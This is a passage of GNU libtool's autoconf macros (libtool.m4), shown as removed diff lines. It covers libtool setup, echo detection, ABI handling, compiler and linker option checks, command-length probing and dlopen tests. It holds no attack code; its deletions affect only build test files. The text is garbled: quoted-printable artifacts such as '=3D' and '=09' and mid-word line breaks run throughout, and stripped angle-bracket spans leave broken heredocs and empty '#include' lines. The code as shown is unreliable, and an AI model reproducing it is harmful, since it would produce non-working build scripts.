AC_LIBTOOL_SETUP -# ---------------- -AC_DEFUN([AC_LIBTOOL_SETUP], -[AC_PREREQ(2.50)dnl -AC_REQUIRE([AC_ENABLE_SHARED])dnl -AC_REQUIRE([AC_ENABLE_STATIC])dnl -AC_REQUIRE([AC_ENABLE_FAST_INSTALL])dnl -AC_REQUIRE([AC_CANONICAL_HOST])dnl -AC_REQUIRE([AC_CANONICAL_BUILD])dnl -AC_REQUIRE([AC_PROG_CC])dnl -AC_REQUIRE([AC_PROG_LD])dnl -AC_REQUIRE([AC_PROG_LD_RELOAD_FLAG])dnl -AC_REQUIRE([AC_PROG_NM])dnl - -AC_REQUIRE([AC_PROG_LN_S])dnl -AC_REQUIRE([AC_DEPLIBS_CHECK_METHOD])dnl -# Autoconf 2.13's AC_OBJEXT and AC_EXEEXT macros only works for C comp= ilers! -AC_REQUIRE([AC_OBJEXT])dnl -AC_REQUIRE([AC_EXEEXT])dnl -dnl - -AC_LIBTOOL_SYS_MAX_CMD_LEN -AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE -AC_LIBTOOL_OBJDIR - -AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl -_LT_AC_PROG_ECHO_BACKSLASH - -case $host_os in -aix3*) - # AIX sometimes has problems with the GCC collect2 program. For som= e - # reason, if we set the COLLECT_NAMES environment variable, the prob= lems - # vanish in a puff of smoke. - if test "X${COLLECT_NAMES+set}" !=3D Xset; then - COLLECT_NAMES=3D - export COLLECT_NAMES - fi - ;; -esac - -# Sed substitution that helps us do robust quoting. It backslashifies -# metacharacters that are still active within double-quoted strings. -Xsed=3D'sed -e 1s/^X//' -[sed_quote_subst=3D's/\([\\"\\`$\\\\]\)/\\\1/g'] - -# Same as above, but do not quote variable references. -[double_quote_subst=3D's/\([\\"\\`\\\\]\)/\\\1/g'] - -# Sed substitution to delay expansion of an escaped shell variable in = a -# double_quote_subst'ed string. -delay_variable_subst=3D's/\\\\\\\\\\\$/\\\\\\$/g' - -# Sed substitution to avoid accidental globbing in evaled expressions -no_glob_subst=3D's/\*/\\\*/g' - -# Constants: -rm=3D"rm -f" - -# Global variables: -default_ofile=3Dlibtool -can_build_shared=3Dyes - -# All known linkers require a `.a' archive for static linking (except = MSVC, -# which needs '.lib'). -libext=3Da -ltmain=3D"$ac_aux_dir/ltmain.sh" -ofile=3D"$default_ofile" -with_gnu_ld=3D"$lt_cv_prog_gnu_ld" - -AC_CHECK_TOOL(AR, ar, false) -AC_CHECK_TOOL(RANLIB, ranlib, :) -AC_CHECK_TOOL(STRIP, strip, :) - -old_CC=3D"$CC" -old_CFLAGS=3D"$CFLAGS" - -# Set sane defaults for various variables -test -z "$AR" && AR=3Dar -test -z "$AR_FLAGS" && AR_FLAGS=3Dcru -test -z "$AS" && AS=3Das -test -z "$CC" && CC=3Dcc -test -z "$LTCC" && LTCC=3D$CC -test -z "$LTCFLAGS" && LTCFLAGS=3D$CFLAGS -test -z "$DLLTOOL" && DLLTOOL=3Ddlltool -test -z "$LD" && LD=3Dld -test -z "$LN_S" && LN_S=3D"ln -s" -test -z "$MAGIC_CMD" && MAGIC_CMD=3Dfile -test -z "$NM" && NM=3Dnm -test -z "$SED" && SED=3Dsed -test -z "$OBJDUMP" && OBJDUMP=3Dobjdump -test -z "$RANLIB" && RANLIB=3D: -test -z "$STRIP" && STRIP=3D: -test -z "$ac_objext" && ac_objext=3Do - -# Determine commands to create old-style static archives. -old_archive_cmds=3D'$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs' -old_postinstall_cmds=3D'chmod 644 $oldlib' -old_postuninstall_cmds=3D - -if test -n "$RANLIB"; then - case $host_os in - openbsd*) - old_postinstall_cmds=3D"$old_postinstall_cmds~\$RANLIB -t \$oldlib= " - ;; - *) - old_postinstall_cmds=3D"$old_postinstall_cmds~\$RANLIB \$oldlib" - ;; - esac - old_archive_cmds=3D"$old_archive_cmds~\$RANLIB \$oldlib" -fi - -_LT_CC_BASENAME([$compiler]) - -# Only perform the check for file, if the check method requires it -case $deplibs_check_method in -file_magic*) - if test "$file_magic_cmd" =3D '$MAGIC_CMD'; then - AC_PATH_MAGIC - fi - ;; -esac - -AC_PROVIDE_IFELSE([AC_LIBTOOL_DLOPEN], enable_dlopen=3Dyes, enable_dlo= pen=3Dno) -AC_PROVIDE_IFELSE([AC_LIBTOOL_WIN32_DLL], -enable_win32_dll=3Dyes, enable_win32_dll=3Dno) - -AC_ARG_ENABLE([libtool-lock], - [AC_HELP_STRING([--disable-libtool-lock], -=09[avoid locking (might break parallel builds)])]) -test "x$enable_libtool_lock" !=3D xno && enable_libtool_lock=3Dyes - -AC_ARG_WITH([pic], - [AC_HELP_STRING([--with-pic], -=09[try to use only PIC/non-PIC objects @<:@default=3Duse both@:>@])], - [pic_mode=3D"$withval"], - [pic_mode=3Ddefault]) -test -z "$pic_mode" && pic_mode=3Ddefault - -# Use C for the default configuration in the libtool script -tagname=3D -AC_LIBTOOL_LANG_C_CONFIG -_LT_AC_TAGCONFIG -])# AC_LIBTOOL_SETUP - - -# _LT_AC_SYS_COMPILER -# ------------------- -AC_DEFUN([_LT_AC_SYS_COMPILER], -[AC_REQUIRE([AC_PROG_CC])dnl - -# If no C compiler was specified, use CC. -LTCC=3D${LTCC-"$CC"} - -# If no C compiler flags were specified, use CFLAGS. -LTCFLAGS=3D${LTCFLAGS-"$CFLAGS"} - -# Allow CC to be a program name with arguments. -compiler=3D$CC -])# _LT_AC_SYS_COMPILER - - -# _LT_CC_BASENAME(CC) -# ------------------- -# Calculate cc_basename. Skip known compiler wrappers and cross-prefi= x. -AC_DEFUN([_LT_CC_BASENAME], -[for cc_temp in $1""; do - case $cc_temp in - compile | *[[\\/]]compile | ccache | *[[\\/]]ccache ) ;; - distcc | *[[\\/]]distcc | purify | *[[\\/]]purify ) ;; - \-*) ;; - *) break;; - esac -done -cc_basename=3D`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_ali= as-%%"` -]) - - -# _LT_COMPILER_BOILERPLATE -# ------------------------ -# Check for compiler boilerplate output or warnings with -# the simple compiler test code. -AC_DEFUN([_LT_COMPILER_BOILERPLATE], -[ac_outfile=3Dconftest.$ac_objext -printf "$lt_simple_compile_test_code" >conftest.$ac_ext -eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.e= rr -_lt_compiler_boilerplate=3D`cat conftest.err` -$rm conftest* -])# _LT_COMPILER_BOILERPLATE - - -# _LT_LINKER_BOILERPLATE -# ---------------------- -# Check for linker boilerplate output or warnings with -# the simple link test code. -AC_DEFUN([_LT_LINKER_BOILERPLATE], -[ac_outfile=3Dconftest.$ac_objext -printf "$lt_simple_link_test_code" >conftest.$ac_ext -eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err -_lt_linker_boilerplate=3D`cat conftest.err` -$rm conftest* -])# _LT_LINKER_BOILERPLATE - - -# _LT_AC_SYS_LIBPATH_AIX -# ---------------------- -# Links a minimal program and checks the executable -# for the system default hardcoded library path. In most cases, -# this is /usr/lib:/lib, but when the MPI compilers are used -# the location of the communication and MPI libs are included too. -# If we don't find anything, use the default library path according -# to the aix ld manual. -AC_DEFUN([_LT_AC_SYS_LIBPATH_AIX], -[AC_LINK_IFELSE(AC_LANG_PROGRAM,[ -aix_libpath=3D`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/I= mport File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } -}'` -# Check for a 64-bit object if we didn't find anything. -if test -z "$aix_libpath"; then aix_libpath=3D`dump -HX64 conftest$ac_= exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/= ^0 *\(.*\)$/\1/; p; } -}'`; fi],[]) -if test -z "$aix_libpath"; then aix_libpath=3D"/usr/lib:/lib"; fi -])# _LT_AC_SYS_LIBPATH_AIX - - -# _LT_AC_SHELL_INIT(ARG) -# ---------------------- -AC_DEFUN([_LT_AC_SHELL_INIT], -[ifdef([AC_DIVERSION_NOTICE], -=09 [AC_DIVERT_PUSH(AC_DIVERSION_NOTICE)], -=09 [AC_DIVERT_PUSH(NOTICE)]) -$1 -AC_DIVERT_POP -])# _LT_AC_SHELL_INIT - - -# _LT_AC_PROG_ECHO_BACKSLASH -# -------------------------- -# Add some code to the start of the generated configure script which -# will find an echo command which doesn't interpret backslashes. -AC_DEFUN([_LT_AC_PROG_ECHO_BACKSLASH], -[_LT_AC_SHELL_INIT([ -# Check that we are running under the correct shell. -SHELL=3D${CONFIG_SHELL-/bin/sh} - -case X$ECHO in -X*--fallback-echo) - # Remove one level of quotation (which was required for Make). - ECHO=3D`echo "$ECHO" | sed 's,\\\\\[$]\\[$]0,'[$]0','` - ;; -esac - -echo=3D${ECHO-echo} -if test "X[$]1" =3D X--no-reexec; then - # Discard the --no-reexec flag, and continue. - shift -elif test "X[$]1" =3D X--fallback-echo; then - # Avoid inline document here, it may be left over - : -elif test "X`($echo '\t') 2>/dev/null`" =3D 'X\t' ; then - # Yippee, $echo works! - : -else - # Restart under the correct shell. - exec $SHELL "[$]0" --no-reexec ${1+"[$]@"} -fi - -if test "X[$]1" =3D X--fallback-echo; then - # used as fallback echo - shift - cat </dev/null 2>&1 && unset CDPATH - -if test -z "$ECHO"; then -if test "X${echo_test_string+set}" !=3D Xset; then -# find a string as large as possible, as long as the shell can cope wi= th it - for cmd in 'sed 50q "[$]0"' 'sed 20q "[$]0"' 'sed 10q "[$]0"' 'sed 2= q "[$]0"' 'echo test'; do - # expected sizes: less than 2Kb, 1Kb, 512 bytes, 16 bytes, ... - if (echo_test_string=3D`eval $cmd`) 2>/dev/null && - echo_test_string=3D`eval $cmd` && - (test "X$echo_test_string" =3D "X$echo_test_string") 2>/dev/nul= l - then - break - fi - done -fi - -if test "X`($echo '\t') 2>/dev/null`" =3D 'X\t' && - echo_testing_string=3D`($echo "$echo_test_string") 2>/dev/null` && - test "X$echo_testing_string" =3D "X$echo_test_string"; then - : -else - # The Solaris, AIX, and Digital Unix default echo programs unquote - # backslashes. This makes it impossible to quote backslashes using - # echo "$something" | sed 's/\\/\\\\/g' - # - # So, first we look for a working echo in the user's PATH. - - lt_save_ifs=3D"$IFS"; IFS=3D$PATH_SEPARATOR - for dir in $PATH /usr/ucb; do - IFS=3D"$lt_save_ifs" - if (test -f $dir/echo || test -f $dir/echo$ac_exeext) && - test "X`($dir/echo '\t') 2>/dev/null`" =3D 'X\t' && - echo_testing_string=3D`($dir/echo "$echo_test_string") 2>/dev/n= ull` && - test "X$echo_testing_string" =3D "X$echo_test_string"; then - echo=3D"$dir/echo" - break - fi - done - IFS=3D"$lt_save_ifs" - - if test "X$echo" =3D Xecho; then - # We didn't find a better echo, so look for alternatives. - if test "X`(print -r '\t') 2>/dev/null`" =3D 'X\t' && - echo_testing_string=3D`(print -r "$echo_test_string") 2>/dev/nu= ll` && - test "X$echo_testing_string" =3D "X$echo_test_string"; then - # This shell has a builtin print -r that does the trick. - echo=3D'print -r' - elif (test -f /bin/ksh || test -f /bin/ksh$ac_exeext) && -=09 test "X$CONFIG_SHELL" !=3D X/bin/ksh; then - # If we have ksh, try running configure again with it. - ORIGINAL_CONFIG_SHELL=3D${CONFIG_SHELL-/bin/sh} - export ORIGINAL_CONFIG_SHELL - CONFIG_SHELL=3D/bin/ksh - export CONFIG_SHELL - exec $CONFIG_SHELL "[$]0" --no-reexec ${1+"[$]@"} - else - # Try using printf. - echo=3D'printf %s\n' - if test "X`($echo '\t') 2>/dev/null`" =3D 'X\t' && -=09 echo_testing_string=3D`($echo "$echo_test_string") 2>/dev/null` && -=09 test "X$echo_testing_string" =3D "X$echo_test_string"; then -=09# Cool, printf works -=09: - elif echo_testing_string=3D`($ORIGINAL_CONFIG_SHELL "[$]0" --fal= lback-echo '\t') 2>/dev/null` && -=09 test "X$echo_testing_string" =3D 'X\t' && -=09 echo_testing_string=3D`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback= -echo "$echo_test_string") 2>/dev/null` && -=09 test "X$echo_testing_string" =3D "X$echo_test_string"; then -=09CONFIG_SHELL=3D$ORIGINAL_CONFIG_SHELL -=09export CONFIG_SHELL -=09SHELL=3D"$CONFIG_SHELL" -=09export SHELL -=09echo=3D"$CONFIG_SHELL [$]0 --fallback-echo" - elif echo_testing_string=3D`($CONFIG_SHELL "[$]0" --fallback-ech= o '\t') 2>/dev/null` && -=09 test "X$echo_testing_string" =3D 'X\t' && -=09 echo_testing_string=3D`($CONFIG_SHELL "[$]0" --fallback-echo "$e= cho_test_string") 2>/dev/null` && -=09 test "X$echo_testing_string" =3D "X$echo_test_string"; then -=09echo=3D"$CONFIG_SHELL [$]0 --fallback-echo" - else -=09# maybe with a smaller string... -=09prev=3D: - -=09for cmd in 'echo test' 'sed 2q "[$]0"' 'sed 10q "[$]0"' 'sed 20q "[= $]0"' 'sed 50q "[$]0"'; do -=09 if (test "X$echo_test_string" =3D "X`eval $cmd`") 2>/dev/null -=09 then -=09 break -=09 fi -=09 prev=3D"$cmd" -=09done - -=09if test "$prev" !=3D 'sed 50q "[$]0"'; then -=09 echo_test_string=3D`eval $prev` -=09 export echo_test_string -=09 exec ${ORIGINAL_CONFIG_SHELL-${CONFIG_SHELL-/bin/sh}} "[$]0" ${1+= "[$]@"} -=09else -=09 # Oops. We lost completely, so just stick with echo. -=09 echo=3Decho -=09fi - fi - fi - fi -fi -fi - -# Copy echo and quote the copy suitably for passing to libtool from -# the Makefile, instead of quoting the original, which is used later. -ECHO=3D$echo -if test "X$ECHO" =3D "X$CONFIG_SHELL [$]0 --fallback-echo"; then - ECHO=3D"$CONFIG_SHELL \\\$\[$]0 --fallback-echo" -fi - -AC_SUBST(ECHO) -])])# _LT_AC_PROG_ECHO_BACKSLASH - - -# _LT_AC_LOCK -# ----------- -AC_DEFUN([_LT_AC_LOCK], -[AC_ARG_ENABLE([libtool-lock], - [AC_HELP_STRING([--disable-libtool-lock], -=09[avoid locking (might break parallel builds)])]) -test "x$enable_libtool_lock" !=3D xno && enable_libtool_lock=3Dyes - -# Some flags need to be propagated to the compiler or linker for good -# libtool support. -case $host in -ia64-*-hpux*) - # Find out which ABI we are using. - echo 'int i;' > conftest.$ac_ext - if AC_TRY_EVAL(ac_compile); then - case `/usr/bin/file conftest.$ac_objext` in - *ELF-32*) - HPUX_IA64_MODE=3D"32" - ;; - *ELF-64*) - HPUX_IA64_MODE=3D"64" - ;; - esac - fi - rm -rf conftest* - ;; -*-*-irix6*) - # Find out which ABI we are using. - echo '[#]line __oline__ "configure"' > conftest.$ac_ext - if AC_TRY_EVAL(ac_compile); then - if test "$lt_cv_prog_gnu_ld" =3D yes; then - case `/usr/bin/file conftest.$ac_objext` in - *32-bit*) - LD=3D"${LD-ld} -melf32bsmip" - ;; - *N32*) - LD=3D"${LD-ld} -melf32bmipn32" - ;; - *64-bit*) - LD=3D"${LD-ld} -melf64bmip" - ;; - esac - else - case `/usr/bin/file conftest.$ac_objext` in - *32-bit*) - LD=3D"${LD-ld} -32" - ;; - *N32*) - LD=3D"${LD-ld} -n32" - ;; - *64-bit*) - LD=3D"${LD-ld} -64" - ;; - esac - fi - fi - rm -rf conftest* - ;; - -x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|sparc*-*lin= ux*) - # Find out which ABI we are using. - echo 'int i;' > conftest.$ac_ext - if AC_TRY_EVAL(ac_compile); then - case `/usr/bin/file conftest.o` in - *32-bit*) - case $host in - x86_64-*linux*) - LD=3D"${LD-ld} -m elf_i386" - ;; - ppc64-*linux*|powerpc64-*linux*) - LD=3D"${LD-ld} -m elf32ppclinux" - ;; - s390x-*linux*) - LD=3D"${LD-ld} -m elf_s390" - ;; - sparc64-*linux*) - LD=3D"${LD-ld} -m elf32_sparc" - ;; - esac - ;; - *64-bit*) - case $host in - x86_64-*linux*) - LD=3D"${LD-ld} -m elf_x86_64" - ;; - ppc*-*linux*|powerpc*-*linux*) - LD=3D"${LD-ld} -m elf64ppc" - ;; - s390*-*linux*) - LD=3D"${LD-ld} -m elf64_s390" - ;; - sparc*-*linux*) - LD=3D"${LD-ld} -m elf64_sparc" - ;; - esac - ;; - esac - fi - rm -rf conftest* - ;; - -*-*-sco3.2v5*) - # On SCO OpenServer 5, we need -belf to get full-featured binaries. - SAVE_CFLAGS=3D"$CFLAGS" - CFLAGS=3D"$CFLAGS -belf" - AC_CACHE_CHECK([whether the C compiler needs -belf], lt_cv_cc_needs_= belf, - [AC_LANG_PUSH(C) - AC_TRY_LINK([],[],[lt_cv_cc_needs_belf=3Dyes],[lt_cv_cc_needs_bel= f=3Dno]) - AC_LANG_POP]) - if test x"$lt_cv_cc_needs_belf" !=3D x"yes"; then - # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf - CFLAGS=3D"$SAVE_CFLAGS" - fi - ;; -sparc*-*solaris*) - # Find out which ABI we are using. - echo 'int i;' > conftest.$ac_ext - if AC_TRY_EVAL(ac_compile); then - case `/usr/bin/file conftest.o` in - *64-bit*) - case $lt_cv_prog_gnu_ld in - yes*) LD=3D"${LD-ld} -m elf64_sparc" ;; - *) LD=3D"${LD-ld} -64" ;; - esac - ;; - esac - fi - rm -rf conftest* - ;; - -AC_PROVIDE_IFELSE([AC_LIBTOOL_WIN32_DLL], -[*-*-cygwin* | *-*-mingw* | *-*-pw32*) - AC_CHECK_TOOL(DLLTOOL, dlltool, false) - AC_CHECK_TOOL(AS, as, false) - AC_CHECK_TOOL(OBJDUMP, objdump, false) - ;; - ]) -esac - -need_locks=3D"$enable_libtool_lock" - -])# _LT_AC_LOCK - - -# AC_LIBTOOL_COMPILER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS, -#=09=09[OUTPUT-FILE], [ACTION-SUCCESS], [ACTION-FAILURE]) -# ---------------------------------------------------------------- -# Check whether the given compiler option works -AC_DEFUN([AC_LIBTOOL_COMPILER_OPTION], -[AC_REQUIRE([LT_AC_PROG_SED]) -AC_CACHE_CHECK([$1], [$2], - [$2=3Dno - ifelse([$4], , [ac_outfile=3Dconftest.$ac_objext], [ac_outfile=3D$4]= ) - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - lt_compiler_flag=3D"$3" - # Insert the option either (1) after the last *FLAGS variable, or - # (2) before a word containing "conftest.", or (3) at the end. - # Note that $ac_compile itself does not contain backslashes and beg= ins - # with a dollar sign (not a hyphen), so the echo should work correc= tly. - # The option is referenced via a variable to avoid confusing sed. - lt_compile=3D`echo "$ac_compile" | $SED \ - -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ - -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \ - -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD= ) - (eval "$lt_compile" 2>conftest.err) - ac_status=3D$? - cat conftest.err >&AS_MESSAGE_LOG_FD - echo "$as_me:__oline__: \$? =3D $ac_status" >&AS_MESSAGE_LOG_FD - if (exit $ac_status) && test -s "$ac_outfile"; then - # The compiler can only warn and ignore the option if not recogni= zed - # So say no if there are warnings other than the usual output. - $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.e= xp - $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 - if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev= /null; then - $2=3Dyes - fi - fi - $rm conftest* -]) - -if test x"[$]$2" =3D xyes; then - ifelse([$5], , :, [$5]) -else - ifelse([$6], , :, [$6]) -fi -])# AC_LIBTOOL_COMPILER_OPTION - - -# AC_LIBTOOL_LINKER_OPTION(MESSAGE, VARIABLE-NAME, FLAGS, -# [ACTION-SUCCESS], [ACTION-FAILURE]) -# ------------------------------------------------------------ -# Check whether the given compiler option works -AC_DEFUN([AC_LIBTOOL_LINKER_OPTION], -[AC_CACHE_CHECK([$1], [$2], - [$2=3Dno - save_LDFLAGS=3D"$LDFLAGS" - LDFLAGS=3D"$LDFLAGS $3" - printf "$lt_simple_link_test_code" > conftest.$ac_ext - if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; th= en - # The linker can only warn and ignore the option if not recognize= d - # So say no if there are warnings - if test -s conftest.err; then - # Append any errors to the config.log. - cat conftest.err 1>&AS_MESSAGE_LOG_FD - $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.= exp - $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2 - if diff conftest.exp conftest.er2 >/dev/null; then - $2=3Dyes - fi - else - $2=3Dyes - fi - fi - $rm conftest* - LDFLAGS=3D"$save_LDFLAGS" -]) - -if test x"[$]$2" =3D xyes; then - ifelse([$4], , :, [$4]) -else - ifelse([$5], , :, [$5]) -fi -])# AC_LIBTOOL_LINKER_OPTION - - -# AC_LIBTOOL_SYS_MAX_CMD_LEN -# -------------------------- -AC_DEFUN([AC_LIBTOOL_SYS_MAX_CMD_LEN], -[# find the maximum length of command line arguments -AC_MSG_CHECKING([the maximum length of command line arguments]) -AC_CACHE_VAL([lt_cv_sys_max_cmd_len], [dnl - i=3D0 - teststring=3D"ABCD" - - case $build_os in - msdosdjgpp*) - # On DJGPP, this test can blow up pretty badly due to problems in = libc - # (any single argument exceeding 2000 bytes causes a buffer overru= n - # during glob expansion). Even if it were fixed, the result of th= is - # check would be larger than it should be. - lt_cv_sys_max_cmd_len=3D12288; # 12K is about right - ;; - - gnu*) - # Under GNU Hurd, this test is not required because there is - # no limit to the length of command line arguments. - # Libtool will interpret -1 as no limit whatsoever - lt_cv_sys_max_cmd_len=3D-1; - ;; - - cygwin* | mingw*) - # On Win9x/ME, this test blows up -- it succeeds, but takes - # about 5 minutes as the teststring grows exponentially. - # Worse, since 9x/ME are not pre-emptively multitasking, - # you end up with a "frozen" computer, even though with patience - # the test eventually succeeds (with a max line length of 256k). - # Instead, let's just punt: use the minimum linelength reported by - # all of the supported platforms: 8192 (on NT/2K/XP). - lt_cv_sys_max_cmd_len=3D8192; - ;; - - amigaos*) - # On AmigaOS with pdksh, this test takes hours, literally. - # So we just punt and use a minimum line length of 8192. - lt_cv_sys_max_cmd_len=3D8192; - ;; - - netbsd* | freebsd* | openbsd* | darwin* | dragonfly*) - # This has been around since 386BSD, at least. Likely further. - if test -x /sbin/sysctl; then - lt_cv_sys_max_cmd_len=3D`/sbin/sysctl -n kern.argmax` - elif test -x /usr/sbin/sysctl; then - lt_cv_sys_max_cmd_len=3D`/usr/sbin/sysctl -n kern.argmax` - else - lt_cv_sys_max_cmd_len=3D65536=09# usable default for all BSDs - fi - # And add a safety zone - lt_cv_sys_max_cmd_len=3D`expr $lt_cv_sys_max_cmd_len \/ 4` - lt_cv_sys_max_cmd_len=3D`expr $lt_cv_sys_max_cmd_len \* 3` - ;; - - interix*) - # We know the value 262144 and hardcode it with a safety zone (lik= e BSD) - lt_cv_sys_max_cmd_len=3D196608 - ;; - - osf*) - # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running = configure - # due to this test when exec_disable_arg_limit is 1 on Tru64. It i= s not - # nice to cause kernel panics so lets avoid the loop below. - # First set a reasonable default. - lt_cv_sys_max_cmd_len=3D16384 - # - if test -x /sbin/sysconfig; then - case `/sbin/sysconfig -q proc exec_disable_arg_limit` in - *1*) lt_cv_sys_max_cmd_len=3D-1 ;; - esac - fi - ;; - sco3.2v5*) - lt_cv_sys_max_cmd_len=3D102400 - ;; - sysv5* | sco5v6* | sysv4.2uw2*) - kargmax=3D`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null` - if test -n "$kargmax"; then - lt_cv_sys_max_cmd_len=3D`echo $kargmax | sed 's/.*[[ =09]]//'` - else - lt_cv_sys_max_cmd_len=3D32768 - fi - ;; - *) - # If test is not a shell built-in, we'll probably end up computing= a - # maximum length that is only half of the actual maximum length, b= ut - # we can't tell. - SHELL=3D${SHELL-${CONFIG_SHELL-/bin/sh}} - while (test "X"`$SHELL [$]0 --fallback-echo "X$teststring" 2>/dev/= null` \ -=09 =3D "XX$teststring") >/dev/null 2>&1 && -=09 new_result=3D`expr "X$teststring" : ".*" 2>&1` && -=09 lt_cv_sys_max_cmd_len=3D$new_result && -=09 test $i !=3D 17 # 1/2 MB should be enough - do - i=3D`expr $i + 1` - teststring=3D$teststring$teststring - done - teststring=3D - # Add a significant safety factor because C++ compilers can tack o= n massive - # amounts of additional arguments before passing them to the linke= r. - # It appears as though 1/2 is a usable value. - lt_cv_sys_max_cmd_len=3D`expr $lt_cv_sys_max_cmd_len \/ 2` - ;; - esac -]) -if test -n $lt_cv_sys_max_cmd_len ; then - AC_MSG_RESULT($lt_cv_sys_max_cmd_len) -else - AC_MSG_RESULT(none) -fi -])# AC_LIBTOOL_SYS_MAX_CMD_LEN - - -# _LT_AC_CHECK_DLFCN -# ------------------ -AC_DEFUN([_LT_AC_CHECK_DLFCN], -[AC_CHECK_HEADERS(dlfcn.h)dnl -])# _LT_AC_CHECK_DLFCN - - -# _LT_AC_TRY_DLOPEN_SELF (ACTION-IF-TRUE, ACTION-IF-TRUE-W-USCORE, -# ACTION-IF-FALSE, ACTION-IF-CROSS-COMPILING= ) -# --------------------------------------------------------------------= - -AC_DEFUN([_LT_AC_TRY_DLOPEN_SELF], -[AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl -if test "$cross_compiling" =3D yes; then : - [$4] -else - lt_dlunknown=3D0; lt_dlno_uscore=3D1; lt_dlneed_uscore=3D2 - lt_status=3D$lt_dlunknown - cat > conftest.$ac_ext < -#endif - -#include - -#ifdef RTLD_GLOBAL -# define LT_DLGLOBAL=09=09RTLD_GLOBAL -#else -# ifdef DL_GLOBAL -# define LT_DLGLOBAL=09=09DL_GLOBAL -# else -# define LT_DLGLOBAL=09=090 -# endif -#endif - -/* We may have to define LT_DLLAZY_OR_NOW in the command line if we - find out it does not work in some platform. */ -#ifndef LT_DLLAZY_OR_NOW -# ifdef RTLD_LAZY -# define LT_DLLAZY_OR_NOW=09=09RTLD_LAZY -# else -# ifdef DL_LAZY -# define LT_DLLAZY_OR_NOW=09=09DL_LAZY -# else -# ifdef RTLD_NOW -# define LT_DLLAZY_OR_NOW=09RTLD_NOW -# else -# ifdef DL_NOW -# define LT_DLLAZY_OR_NOW=09DL_NOW -# else -# define LT_DLLAZY_OR_NOW=090 -# endif -# endif -# endif -# endif -#endif - -#ifdef __cplusplus -extern "C" void exit (int); -#endif - -void fnord() { int i=3D42;} -int main () -{ - void *self =3D dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); - int status =3D $lt_dlunknown; - - if (self) - { - if (dlsym (self,"fnord")) status =3D $lt_dlno_uscore; - else if (dlsym( self,"_fnord")) status =3D $lt_dlneed_uscore; - /* dlclose (self); */ - } - else - puts (dlerror ()); - - exit (status); -}] -EOF - if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext} 2>/dev/null;= then - (./conftest; exit; ) >&AS_MESSAGE_LOG_FD 2>/dev/null - lt_status=3D$? - case x$lt_status in - x$lt_dlno_uscore) $1 ;; - x$lt_dlneed_uscore) $2 ;; - x$lt_dlunknown|x*) $3 ;; - esac - else : - # compilation failed - $3 - fi -fi -rm -fr conftest* -])# _LT_AC_TRY_DLOPEN_SELF - - -# AC_LIBTOOL_DLOPEN_SELF -# ---------------------- -AC_DEFUN([AC_LIBTOOL_DLOPEN_SELF], -[AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl -if test "x$enable_dlopen" !=3D xyes; then - enable_dlopen=3Dunknown - enable_dlopen_self=3Dunknown - enable_dlopen_self_static=3Dunknown -else - lt_cv_dlopen=3Dno - lt_cv_dlopen_libs=3D - - case $host_os in - beos*) - lt_cv_dlopen=3D"load_add_on" - lt_cv_dlopen_libs=3D - lt_cv_dlopen_self=3Dyes - ;; - - mingw* | pw32*) - lt_cv_dlopen=3D"LoadLibrary" - lt_cv_dlopen_libs=3D - ;; - - cygwin*) - lt_cv_dlopen=3D"dlopen" - lt_cv_dlopen_libs=3D - ;; - - darwin*) - # if libdl is installed we need to link against it - AC_CHECK_LIB([dl], [dlopen], -=09=09[lt_cv_dlopen=3D"dlopen" lt_cv_dlopen_libs=3D"-ldl"],[ - lt_cv_dlopen=3D"dyld" - lt_cv_dlopen_libs=3D - lt_cv_dlopen_self=3Dyes - ]) - ;; - - *) - AC_CHECK_FUNC([shl_load], -=09 [lt_cv_dlopen=3D"shl_load"], - [AC_CHECK_LIB([dld], [shl_load], -=09 [lt_cv_dlopen=3D"shl_load" lt_cv_dlopen_libs=3D"-dld"], -=09[AC_CHECK_FUNC([dlopen], -=09 [lt_cv_dlopen=3D"dlopen"], -=09 [AC_CHECK_LIB([dl], [dlopen], -=09=09[lt_cv_dlopen=3D"dlopen" lt_cv_dlopen_libs=3D"-ldl"], -=09 [AC_CHECK_LIB([svld], [dlopen], -=09=09 [lt_cv_dlopen=3D"dlopen" lt_cv_dlopen_libs=3D"-lsvld"], -=09 [AC_CHECK_LIB([dld], [dld_link], -=09=09 [lt_cv_dlopen=3D"dld_link" lt_cv_dlopen_libs=3D"-dld"]) -=09 ]) -=09 ]) -=09 ]) -=09]) - ]) - ;; - esac - - if test "x$lt_cv_dlopen" !=3D xno; then - enable_dlopen=3Dyes - else - enable_dlopen=3Dno - fi - - case $lt_cv_dlopen in - dlopen) - save_CPPFLAGS=3D"$CPPFLAGS" - test "x$ac_cv_header_dlfcn_h" =3D xyes && CPPFLAGS=3D"$CPPFLAGS -D= HAVE_DLFCN_H" - - save_LDFLAGS=3D"$LDFLAGS" - wl=3D$lt_prog_compiler_wl eval LDFLAGS=3D\"\$LDFLAGS $export_dynam= ic_flag_spec\" - - 